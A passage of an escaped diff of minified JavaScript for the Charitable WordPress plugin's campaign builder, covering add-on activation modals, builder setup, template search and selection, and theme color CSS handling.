\"+charitable_builder.activated_title+\"\u003C\u002Fspan>\",content:charitable_builder.activated_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(saveRefreshButton){if($(\"#charitable_settings_title\").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop(\"disabled\",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonInstalledAndActivatedFailed:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.installed_activated_failed_title+\"\u003C\u002Fspan>\",content:charitable_builder.installed_activated_failed_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},upgradeModalAddonActivatedFailed:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.activated_failed_title+\"\u003C\u002Fspan>\",content:charitable_builder.activated_failed_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},getUpgradeModalWidth:function(isVideoModal){var windowWidth=$(window).width();if(windowWidth\u003C=300){return\"250px\"}if(windowWidth\u003C=750){return\"350px\"}if(!isVideoModal||windowWidth\u003C=1024){return\"560px\"}return windowWidth>1070?\"1040px\":\"994px\"},isFunction:function(functionToCheck){return functionToCheck&&{}.toString.call(functionToCheck)===\"[object Function]\"}};return app}(document,window,jQuery);CharitableCampaignBuilder.init();\n\\ No newline at end of file\n+var CharitableCampaignBuilder=window.CharitableCampaignBuilder||function(document,window,$){var s,$builder,$builderForm,elements={};var closeConfirmation=true;var adding=false;var app={settings:{spinner:'\u003Ci class=\"charitable-loading-spinner\">\u003C\u002Fi>',spinnerInline:'\u003Ci class=\"charitable-loading-spinner charitable-loading-inline\">\u003C\u002Fi>',tinymceDefaults:{tinymce:{toolbar1:\"bold,italic,underline,blockquote,strikethrough,bullist,numlist,alignleft,aligncenter,alignright,undo,redo,link\"},quicktags:true},pagebreakTop:false,pagebreakBottom:false,upload_img_modal:false},init:function(){var that=this;charitable_panel_switch=true;s=this.settings;$(app.ready);$(window).on(\"load\",function(){if(typeof $.ready.then===\"function\"){$.ready.then(app.load)}else{app.load()}});$(window).on(\"beforeunload\",function(){if(!that.formIsSaved()&&closeConfirmation){return charitable_builder.are_you_sure_to_close}})},load:function(){if(wpchar.getQueryString(\"newcampaign\")){app.formSave(false)}const event=CharitableUtils.triggerEvent($builder,\"CharitableCampaignBuilderReady\");if(event.isDefaultPrevented()){return false}app.hideLoadingOverlay();app.initCodeEditor()},ready:function(){if(app.isVisitedViaBackButton()){location.reload();return}app.showLoadingOverlay();s.version=\"1.8.4.3\";$builder=$(\"#charitable-builder\");$builderForm=$(\"#charitable-builder-form\");elements.$helpButton=$(\"#charitable-help\");elements.$previewButton=$(\"#charitable-preview-btn\");elements.$viewCampaignButton=$(\"#charitable-view-btn\");elements.$embedButton=$(\"#charitable-embed\");elements.$statusButton=$(\"#charitable-status-button\");elements.$saveButton=$(\"#charitable-save\");elements.$exitButton=$(\"#charitable-exit\");elements.$templateButton=$(\".charitable-panel-template-button\");elements.$designButton=$(\".charitable-panel-design-button\");elements.$settingsButton=$(\".charitable-panel-settings-button\");elements.$marketingButton=$(\".charitable-panel-marketing-button\");elements.$paymentButton=$(\".charitable-panel-payment-button\");elements.$noFieldsOptions=$(\".charitable-panel-fields .charitable-no-fields-holder .no-fields\");elements.$noFieldsPreview=$(\".charitable-panel-fields .charitable-no-fields-holder .no-fields-preview\");elements.$formPreview=$(\".charitable-panel-fields .charitable-preview-wrap\");elements.$revisionPreview=$(\"#charitable-panel-revisions .charitable-panel-content\");elements.$focusOutTarget=null;elements.$preview=$(\".charitable-preview\");elements.$panelDesign=$(\"#charitable-panel-design\");elements.$nextFieldId=$(\"#charitable-field-id\");elements.$fieldOptions=$(\"#charitable-field-options\");elements.$fieldsPreviewWrap=$(\".charitable-panel-fields .charitable-panel-content-wrap\"),elements.$sortableFieldsWrap=$(\".charitable-panel-fields .charitable-field-wrap\");elements.$sortableTabsWrap=$(\".charitable-panel-fields .charitable-tab-wrap\");elements.$sortableTabNav=$(\".charitable-campaign-preview nav.charitable-campaign-preview-nav\");elements.$sortableTabContent=$(\".charitable-campaign-preview .tab-content\");elements.$addFieldsButtons=$(\".charitable-add-fields-button\").not(\".not-draggable\").not(\".warning-modal\").not(\".charitable-not-available\").not(\".charitable-not-installed\").not(\".charitable-not-activated\").not(\".charitable-installed-refresh\").not(\".charitable-addon-file-missing\").not(\".charitable-need-upgrade\");elements.$templatePanel=$(\"#charitable-panel-template\");elements.$templatePreview=$(\".charitable-template-preview\");elements.$settingsPanel=$(\"#charitable-panel-settings\");elements.$campaignID=$('#charitable-builder-form input[name=\"id\"]');elements.$templateID=$('#charitable-builder-form input[name=\"template_id\"]');elements.$templateLabel=$('#charitable-builder-form input[name=\"template_label\"]');elements.$postStatus=$('#charitable-builder-form input[name=\"post_status\"]');elements.$primaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_primary\"]');elements.$secondaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_secondary\"]');elements.$tertiaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_tertiary\"]');elements.$buttonThemeColorBase=$('#charitable-builder-form input[name=\"color_base_button\"]');app.bindUIActions();s.formID=$builderForm.data(\"id\");s.templateID=$builderForm.data(\"template-id\");s.templateLabel=$builderForm.data(\"template-label\");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");s.primaryThemeColorBase=elements.$primaryThemeColorBase.val().length>0?elements.$primaryThemeColorBase.val():\"\";s.secondaryThemeColorBase=elements.$secondaryThemeColorBase.val().length>0?elements.$secondaryThemeColorBase.val():\"\";s.tertiaryThemeColorBase=elements.$tertiaryThemeColorBase.val().length>0?elements.$tertiaryThemeColorBase.val():\"\";s.buttonThemeColorBase=elements.$buttonThemeColorBase.val().length>0?elements.$buttonThemeColorBase.val():\"\";s.primaryThemeColor=\"\";s.secondaryThemeColor=\"\";s.tertiaryThemeColor=\"\";s.buttonThemeColor=\"\";s.formSaved=$builderForm.find(\"#charitable-form-saved\").val();s.formSavedStatus=$builderForm.find(\"#charitable-form-post-status\").val();s.formSavedStatusLabel=$builderForm.find(\"#charitable-form-post-status-label\").val();s.formStatus=s.formSavedStatus.length>0?s.formSavedStatus:\"draft\";s.formStatusLabel=s.formSavedStatusLabel.length>0?s.formSavedStatusLabel:\"Draft\";s.campaignTitle=$(\"input#charitable_settings_title\").val();s.campaignDescription=$('div[data-special-type=\"campaign_description\"] .campaign-builder-htmleditor').first().html();s.campaignOverview=$('div[data-special-type=\"campaign_overview\"] .campaign-builder-htmleditor').length>0?$('div[data-special-type=\"campaign_overview\"] .campaign-builder-htmleditor').first().html():\"\";s.maxNumberOfTabs=4;s.denyList={\"donation-form\":{\"donate-button\":0,\"donation-form\":0,\"donate-amount\":0},\"donate-button\":{\"donation-form\":0},\"donate-amount\":{\"donation-form\":0}};s.pagebreakTop=$(\".charitable-pagebreak-top\").length;s.pagebreakBottom=$(\".charitable-pagebreak-bottom\").length;s.didInitHTMLEditorFields=false;s.quilled=[];s.currentModal=false;$builder.on(\"keypress\",\"#charitable-builder-form :input:not(textarea)\",function(e){if(e.keyCode===13){e.preventDefault()}});$(\".charitable-panel\").each(function(index,el){var $this=$(this),$configured=$this.find(\".charitable-panel-sidebar-section.configured\").first();if($configured.length){var section=$configured.data(\"section\");$configured.addClass(\"active\");$this.find(\".charitable-panel-content-section-\"+section).show().addClass(\"active\");$this.find(\".charitable-panel-content-section-default\").hide()}else{$this.find(\".charitable-panel-content-section\").hide().removeClass(\"active\");$this.find(\".charitable-panel-content-section\").first().show().addClass(\"active\");$this.find(\".charitable-panel-sidebar-section:first-of-type\").addClass(\"active\")}});app.builderHotkeys();if(typeof jconfirm!==\"undefined\"){jconfirm.defaults={closeIcon:false,backgroundDismiss:false,escapeKey:true,animationBounce:1,useBootstrap:false,theme:\"modern\",boxWidth:\"400px\",animateFromElement:false,draggable:false,content:charitable_builder.something_went_wrong}}$(\".campaign-builder-datepicker\").each(function(){app.initDatePicker($(this))});$(\".campaign-tag-field\").each(function(){app.initTagField($(this))});$(\".charitable-campaign-suggested-donations\").each(function(){app.initSuggestedDonations($(this))});$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.initColorPicker();app.initTemplatePanel();app.initStatusButton();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();app.resizeTopCampaignTitleInputBox();if(false!==app.hasTemplate()){var panel=null!==wpCookies.get(\"charitable_panel\")?wpCookies.get(\"charitable_panel\").trim():false;if(typeof panel!==\"undefined\"&&panel.length>0&&panel!==\"template\"){app.panelSwitch(panel)}else{app.panelSwitch(\"design\")}app.checkFieldAllow();app.redirectBasedOnCookies(panel)}else{app.forceTemplateSelect();app.setCampaignTitleNotSet()}app.openModalButtonClick();app.confirmCampaignDeletion();$(\".education-buttons button\").click(function(){window.open(\"https:\u002F\u002Fwww.wpcharitable.com\u002Fpricing\u002F\")});$(\".campaign-builder-campaign-creator-id select\").select2({templateResult:app.campaignCreatorFormatOptions});$(\".campaign-builder-campaign-creator-id-mini select\").select2({templateResult:app.campaignCreatorFormatOptions})},campaignCreatorFormatOptions(state){if(!state.id){return state.text}var $state=$('\u003Cspan class=\"charitable-select2-avatar\">\u003Cimg width=\"20px\" height=\"20px\" style=\"display: inline-block; float: left; margin-right: 10px;\" src=\"'+state.element.dataset.avatar+'\" \u002F> '+state.text+'\u003C\u002Fspan>\u003Cspan class=\"charitable-select2-meta\"> '+state.element.dataset.meta+\"\u003C\u002Fspan>\");return $state},redirectBasedOnCookies(panel=false){var cookieContentSection=wpCookies.get(\"charitable_panel_content_section\"),cookieActiveFieldId=\"\"!==wpCookies.get(\"charitable_panel_active_field_id\")?parseInt(wpCookies.get(\"charitable_panel_active_field_id\")):\"\",cookieActiveTabId=wpCookies.get(\"charitable_panel_tab_section_tab_id\"),cookieActiveLayoutOptionsGroup=wpCookies.get(\"charitable_panel_design_layout_options_group\");if($(\".charitable-preview\").is(\":visible\")&&\"\"!==cookieActiveTabId&&$('nav.charitable-campaign-preview-nav li[data-tab-id=\"'+cookieActiveTabId+'\"] a').is(\":visible\")){$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id=\"'+cookieActiveTabId+'\"] a').click()}else if($(\".charitable-preview\").is(\":visible\")&&$(\"#charitable-field-\"+cookieActiveFieldId+\" a\").is(\":visible\")){app.clickFieldEdit(cookieActiveFieldId)}else if($(\".charitable-panel-sidebar\").is(\":visible\")&&$('a.charitable-panel-sidebar-section[data-section=\"'+cookieContentSection+'\"').is(\":visible\")){$('a.charitable-panel-sidebar-section[data-section=\"'+cookieContentSection+'\"').click()}else if(\"\"!==cookieActiveFieldId&&$(\"#charitable-field-\"+cookieActiveFieldId).is(\":visible\")){$(\"#charitable-field-\"+cookieActiveFieldId).click()}else if($(\".charitable-panel-sidebar\").is(\":visible\")&&cookieContentSection&&cookieContentSection!==\"layout-options\"&&$(\".charitable-tabs\").is(\":visible\")&&$(\".charitable-tabs li#\"+cookieContentSection+\" a\").is(\":visible\")){$(\".charitable-tabs li#\"+cookieContentSection+\" a\").click()}else if(false===panel&&false!==app.hasTemplate()){app.panelSwitch(\"design\")}else{wpchar.debug(\"redirectBasedOnCookies nothing\")}},clickFieldEdit(fieldId){$(\"#charitable-field-\"+fieldId+\" a.charitable-field-edit\").click()},refreshTabFieldsSortDrag(){elements.$sortableTabContent=$(\".charitable-campaign-preview .tab-content\")},hasTemplate(){if(typeof s.templateID!==\"undefined\"&&s.templateID.length>0){return true}var templateID=parseInt(elements.$templateID.val());if(templateID>0){return true}return false},forceTemplateSelect(){$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"active\").addClass(\"disabled\");elements.$templateButton.removeClass(\"disabled\").addClass(\"active\");app.panelSwitch(\"template\")},unforceTemplateSelect(){$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"disabled\")},disableTemplateSelect(){elements.$templateButton.removeClass(\"active\").addClass(\"disabled\")},updateTemplateID(templateID=\"\",templateLabel=\"\"){elements.$templateID.val(templateID);elements.$templateLabel.val(templateLabel);app.updateThemeCSS(null,templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,false);$(\".charitable-preview\").removeClass(function(index,className){return(className.match(\u002F(^|\\s)charitable-builder-template-\\S+\u002Fg)||[]).join(\" \")}).addClass(\"charitable-builder-template-\"+templateID);if(templateLabel!==\"\"){$(\".charitable-preview-top-bar .charitable-campaign-theme-label\").text(templateLabel)}else if(templateID!==\"\"){$(\".charitable-preview-top-bar .charitable-campaign-theme-label\").text(templateID)}},updateThemeCSS(whatChanged=null,templateID=\"\",primaryThemeColor=\"\",secondaryThemeColor=\"\",tertiaryThemeColor=\"\",buttonThemeColor=\"\",justColors=true){if(\"\"===templateID&&\"\"===s.templateID){return}if(typeof s.primaryThemeColor===\"undefined\"||\"\"===primaryThemeColor){if(typeof s.primaryThemeColor!==\"undefined\"&&\"\"!==s.primaryThemeColor){primaryThemeColor=s.primaryThemeColor}else if(typeof s.primaryThemeColorBase!==\"undefined\"&&\"\"!==s.primaryThemeColorBase){primaryThemeColor=s.primaryThemeColorBase}else{primaryThemeColor=\"000000\"}}if(typeof s.secondaryThemeColor===\"undefined\"||\"\"===secondaryThemeColor){if(typeof s.secondaryThemeColor!==\"undefined\"&&\"\"!==s.secondaryThemeColor){secondaryThemeColor=s.secondaryThemeColor}else if(typeof s.secondaryThemeColorBase!==\"undefined\"&&\"\"!==s.secondaryThemeColorBase){secondaryThemeColor=s.secondaryThemeColorBase}else{secondaryThemeColor=\"000000\"}}if(typeof s.tertiaryThemeColor===\"undefined\"||\"\"===tertiaryThemeColor){if(typeof s.tertiaryThemeColor!==\"undefined\"&&\"\"!==s.tertiaryThemeColor){tertiaryThemeColor=s.tertiaryThemeColor}else if(typeof s.tertiaryThemeColorBase!==\"undefined\"&&\"\"!==s.tertiaryThemeColorBase){tertiaryThemeColor=s.tertiaryThemeColorBase}else{tertiaryThemeColor=\"000000\"}}if(typeof s.buttonThemeColor===\"undefined\"||\"\"===buttonThemeColor){if(typeof s.buttonThemeColor!==\"undefined\"&&\"\"!==s.buttonThemeColor){buttonThemeColor=s.buttonThemeColor}else if(typeof s.buttonThemeColorBase!==\"undefined\"&&\"\"!==s.buttonThemeColorBase){buttonThemeColor=s.buttonThemeColorBase}else{buttonThemeColor=\"000000\"}}primaryThemeColor=primaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");secondaryThemeColor=secondaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");tertiaryThemeColor=tertiaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");buttonThemeColor=buttonThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");var colorQueryString=\"p=\"+primaryThemeColor+\"&s=\"+secondaryThemeColor+\"&t=\"+tertiaryThemeColor+\"&b=\"+buttonThemeColor+\"&ver=\"+s.version;if(justColors===false){$('link[id=\"charitable-builder-template-preview-theme-css\"]').attr(\"href\",charitable_builder.charitable_rest_url+\"campaign-css-admin\u002F\"+templateID+\"?\"+colorQueryString)}if(whatChanged!==null){app.replaceCSSFile(whatChanged,templateID,colorQueryString)}else{app.replaceCSSFile(\"primary\",templateID,colorQueryString);app.replaceCSSFile(\"secondary\",templateID,colorQueryString);app.replaceCSSFile(\"tertiary\",templateID,colorQueryString);app.replaceCSSFile(\"button\",templateID,colorQueryString)}},replaceCSSFile:function(whatChanged,templateID,colorQueryString){$(\"head\").find(\"link#charitable-builder-template-preview-theme-colors-\"+whatChanged+\"-css\").remove();$(\"head\").append('\u003Clink rel=\"stylesheet\" data-color-type=\"'+whatChanged+'\" id=\"charitable-builder-template-preview-theme-colors-temp\" href=\"'+charitable_builder.charitable_rest_url+\"campaign-css-admin\u002F\"+templateID+\"-colors?\"+colorQueryString+'\" type=\"text\u002Fcss\" media=\"screen\">');$(\"#charitable-design-wrap\").addClass(\"loading\");setTimeout(function(){$(\"head\").find(\"#charitable-builder-template-preview-theme-colors-temp\").attr(\"id\",\"charitable-builder-template-preview-theme-colors-\"+whatChanged+\"-css\");$(\"#charitable-design-wrap\").removeClass(\"loading\")},250)},searchTemplate:function(e){e.preventDefault();let $active=$(\".charitable-setup-templates-categories li.active\"),category=$active.data(\"category\"),searchQuery=$(this).val();app.performSearch(searchQuery,category)},performSearch(query=\"\",category=\"\"){let $templateList=elements.$templatePreview.find(\".charitable-template-list\");if(query===\"\"&&(category===\"\"||category===\"all\")){$templateList.find(\".charitable-template-list-container-item\").removeClass(\"charitable-hidden\")}else{$templateList.find(\".charitable-template-list-container-item\").addClass(\"charitable-hidden\");if(query!==\"\"&&category!==\"\"&&category!==\"all\"){$templateList.find('.charitable-template[data-template-tags*=\"'+query+'\"][data-template-categories*=\"'+category+'\"]').parent().removeClass(\"charitable-hidden\")}else if(query!==\"\"&&(category===\"\"||category===\"all\")){$templateList.find('.charitable-template[data-template-tags*=\"'+query+'\"],.charitable-template[data-template-categories*=\"'+query+'\"]').parent().removeClass(\"charitable-hidden\")}else{$templateList.find('.charitable-template[data-template-tags*=\"'+category+'\"],.charitable-template[data-template-categories*=\"'+category+'\"]').parent().removeClass(\"charitable-hidden\")}}var numItems=$(\".charitable-template-list-container-item\").not(\".hidden\").length;$(\".charitable-templates-no-results\").toggle(!numItems);if(!elements.$templatePreview.find(\"#charitable-setup-template-search\").val()){elements.$templatePreview.find(\".charitable-setup-templates-search-wrap .fa-close\").hide()}else{elements.$templatePreview.find(\".charitable-setup-templates-search-wrap .fa-close\").show()}app.showCheckTemplateList();app.showUpgradeBanner()},selectCategory:function(e){e.preventDefault();let $item=$(this),$active=$item.closest(\"ul\").find(\".active\"),category=$item.data(\"category\"),searchQuery=$(\"#charitable-setup-template-search\").val();$active.removeClass(\"active\");$item.addClass(\"active\");app.performSearch(searchQuery,category)},showUpgradeBanner:function(){if(!$(\"#tmpl-charitable-templates-upgrade-banner\").length){return}if($(\"#charitable-template-list .charitable-template-upgrade-banner\").length>0){$(\"#charitable-template-list .charitable-template-upgrade-banner\").remove()}if(!app.isFunction(wp.template)){wpchar.debug(\"wp.template not a function\");return}else{wpchar.debug(\"wp.template is a function\")}let template=wp.template(\"charitable-templates-upgrade-banner\");if(!template){return}const $templates=$(\"#charitable-template-list .charitable-template-list-container-item:not(.charitable-hidden)\"),$insertPoint=$(\"#charitable-template-list .charitable-template-list-container-item\");if($templates.length>5){$(\"#charitable-template-list .charitable-template-list-container > div:last-child\").after(template());return}$insertPoint.last().after(template())},showCheckTemplateList:function(){if($(\"#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-blank\").addClass(\"charitable-hidden\");$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}else{$(\"#charitable-template-list .charitable-template-list-section-blank\").removeClass(\"charitable-hidden\");$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").removeClass(\"charitable-hidden\")}if($(\"#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}else{$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").removeClass(\"charitable-hidden\")}if($(\"#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)\").length>0&&$(\"#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}},initStatusButton:function(formStatus=\"\",formStatusLabel=\"\"){var $statusDropdown=$(\"ul#charitable-status-dropdown\");if(formStatus==\"\"&&s.formStatus.length>0){formStatus=s.formStatus}if(formStatusLabel==\"\"&&s.formStatusLabel.length>0){formStatusLabel=s.formStatusLabel}$statusDropdown.addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\");$(\"#charitable-status-button span.text\").html(formStatusLabel);$(\"#charitable-status-button\").attr(\"data-status\",formStatus);$statusDropdown.find(\"a\").removeClass(\"charitable-hidden\");$statusDropdown.find(\"a.switch-\"+formStatus).addClass(\"charitable-hidden\");$statusDropdown.find(\"a.\"+formStatus).addClass(\"charitable-hidden\");if(formStatus===\"draft\"){}else if(formStatus===\"publish\"){}},initTemplatePanel:function(){$(\"#charitable-template-container\").on(\"keyup\",\"#charitable-setup-template-search\",app.searchTemplate).on(\"click\",\".charitable-setup-templates-categories li\",app.selectCategory);if(!s.didInitHTMLEditorFields){$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}elements.$templatePreview.on(\"click\",\".charitable-template-lite-to-pro a.button, .charitable-setup-templates-feedback a.send-feedback\",function(e){e.preventDefault();$(\".charitable-panel-content-wrap\").animate({scrollTop:0},500);$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');$(\".charitable-feedback-form-container\").css(\"opacity\",\"100\").css(\"visibility\",\"visible\");$(\".charitable-feedback-form-container\").find(\".charitable-feedback-form-interior\").removeClass(\"charitable-hidden\");$(\".charitable-feedback-form-container\").find(\"textarea\").val(\"\");$(\".charitable-feedback-form-interior-confirmation\").addClass(\"charitable-hidden\")});$builderForm.on(\"click\",\"#charitable-feedback-form .charitable-templates-close-icon, #charitable-feedback-form-confirmation .charitable-templates-close-icon\",function(e){e.preventDefault();$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\".charitable-builder-underlay\").remove();$(\"#charitable-panel-template .charitable-feedback-form-container\").css(\"opacity\",\"0\").css(\"visibility\",\"hidden\")});$builderForm.on(\"click\",\".template-buttons a.preview-campaign\",function(e){e.preventDefault();$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');const previewBox=$(this).closest(\".charitable-template\"),templateLabel=typeof previewBox.data(\"template-label\")!==\"undefined\"?previewBox.data(\"template-label\"):\"\",templateDescription=typeof previewBox.data(\"template-description\")!==\"undefined\"?previewBox.data(\"template-description\"):\"\",templatePreviewURL=typeof previewBox.data(\"template-preview-url\")!==\"undefined\"?previewBox.data(\"template-preview-url\"):\"\",templateCode=typeof previewBox.data(\"template-code\")!==\"undefined\"?previewBox.data(\"template-code\"):\"\";$(\"#charitable-builder-modal-template-preview\").find(\"h4\").html(templateLabel);$(\"#charitable-builder-modal-template-preview\").find(\".charitable-templates-preview-description\").html(\"\u003Cp>\"+templateDescription+\"\u003C\u002Fp>\");$(\"#charitable-builder-modal-template-preview\").find(\"img\").attr(\"src\",templatePreviewURL);$(\"#charitable-builder-modal-template-preview\").find(\"img\").attr(\"alt\",templateLabel);$(\"#charitable-builder-modal-template-preview\").find(\"a.button-link\").attr(\"data-template-id\",templateCode);$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").addClass(\"active\")});$builderForm.on(\"click\",\"#charitable-templates-preview-form .charitable-templates-close-icon\",function(e){e.preventDefault();$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\")});elements.$templatePreview.on(\"click\",\"nav.charitable-template-tabs a\",function(e){e.preventDefault();var $this=$(this),templateTabFilter=$this.data(\"template-tab-filter\")?$this.data(\"template-tab-filter\"):false,$templateList=elements.$templatePreview.find(\".charitable-template-list \");elements.$templatePreview.find(\"nav.charitable-template-tabs a\").removeClass(\"active\");$this.addClass(\"active\");$templateList.find(\".charitable-template\").removeClass(\"hidden\");if(templateTabFilter){$templateList.find('.charitable-template[data-template-type!=\"'+templateTabFilter+'\"]').addClass(\"hidden\")}});elements.$templatePreview.on(\"click\",\"a.charitable-trigger-blank\",function(e){e.preventDefault();$(\"#charitable-template-list .charitable-template-upgrade-banner\").remove();elements.$templatePreview.find(\"#charitable-setup-template-search\").val(\"simple\").trigger(\"keyup\").addClass(\"highlighted\").addClass(\"with-x\");elements.$templatePreview.find(\".charitable-setup-templates-categories\").find(\"li[data-category=all\").click();app.showCheckTemplateList();app.showUpgradeBanner()});elements.$templatePreview.on(\"click\",\"i.fa-close\",function(e){elements.$templatePreview.find(\"#charitable-setup-template-search\").val(\"\").trigger(\"keyup\").removeClass(\"highlighted\")});elements.$templatePreview.on(\"click\",\".button.create-campaign\",function(e){e.preventDefault();if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+charitable_builder.error_already_started_campaign+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){s.templateID=$(this).closest(\".charitable-template\").data(\"template-code\");s.templateLabel=$(this).closest(\".charitable-template\").data(\"template-label\");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));app.restartForm(s.templateID,null,s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})}else{s.templateID=$(this).closest(\".charitable-template\").data(\"template-code\");s.templateLabel=$(this).closest(\".charitable-template\").data(\"template-label\");var $titleInput=$(\"input#charitable_settings_title\");var currentTitle=$titleInput.val()||s.campaignTitle||\"\";if((!currentTitle||$.trim(currentTitle)===\"\")&&s.templateLabel){app.updateFormUI(\"title\",s.templateLabel)}s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new 